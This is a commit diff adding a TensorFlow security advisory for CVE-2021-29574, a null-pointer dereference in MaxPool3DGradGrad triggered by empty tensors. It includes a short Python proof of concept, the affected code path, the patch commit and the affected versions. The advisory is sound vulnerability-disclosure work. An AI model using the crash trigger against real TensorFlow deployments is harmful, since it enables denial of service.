chore: import upstream snapshot with attribution

2026-07-13 12:14:16 +08:00
commit 8a852e4b4e
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+## TFSA-2021-063: Undefined behavior in `MaxPool3DGradGrad`
+
+### CVE Number
+CVE-2021-29574
+
+### Impact
+The implementation of `tf.raw_ops.MaxPool3DGradGrad` exhibits undefined behavior
+by dereferencing null pointers backing attacker-supplied empty tensors:
+
+```python
+import tensorflow as tf
+
+orig_input = tf.constant([0.0], shape=[1, 1, 1, 1, 1], dtype=tf.float32)
+orig_output = tf.constant([0.0], shape=[1, 1, 1, 1, 1], dtype=tf.float32)
+grad = tf.constant([], shape=[0, 0, 0, 0, 0], dtype=tf.float32)
+ksize = [1, 1, 1, 1, 1]
+strides = [1, 1, 1, 1, 1]
+padding = "SAME"
+
+tf.raw_ops.MaxPool3DGradGrad(
+    orig_input=orig_input, orig_output=orig_output, grad=grad, ksize=ksize,
+    strides=strides, padding=padding)
+```
+
+The
+[implementation](https://github.com/tensorflow/tensorflow/blob/72fe792967e7fd25234342068806707bbc116618/tensorflow/core/kernels/pooling_ops_3d.cc#L679-L703)
+fails to validate that the 3 tensor inputs are not empty. If any of them is
+empty, then accessing the elements in the tensor results in dereferencing a
+null pointer.
+
+### Patches
+We have patched the issue in GitHub commit
+[a3d9f9be9ac2296615644061b40cefcee341dcc4](https://github.com/tensorflow/tensorflow/commit/a3d9f9be9ac2296615644061b40cefcee341dcc4).
+
+The fix will be included in TensorFlow 2.5.0. We will also cherrypick this
+commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow
+2.1.4, as these are also affected and still in supported range.
+
+### For more information
+Please consult [our security
+guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for
+more information regarding the security model and how to contact us with issues
+and questions.
+
+### Attribution
+This vulnerability has been reported by Ying Wang and Yakun Zhang of Baidu
+X-Team.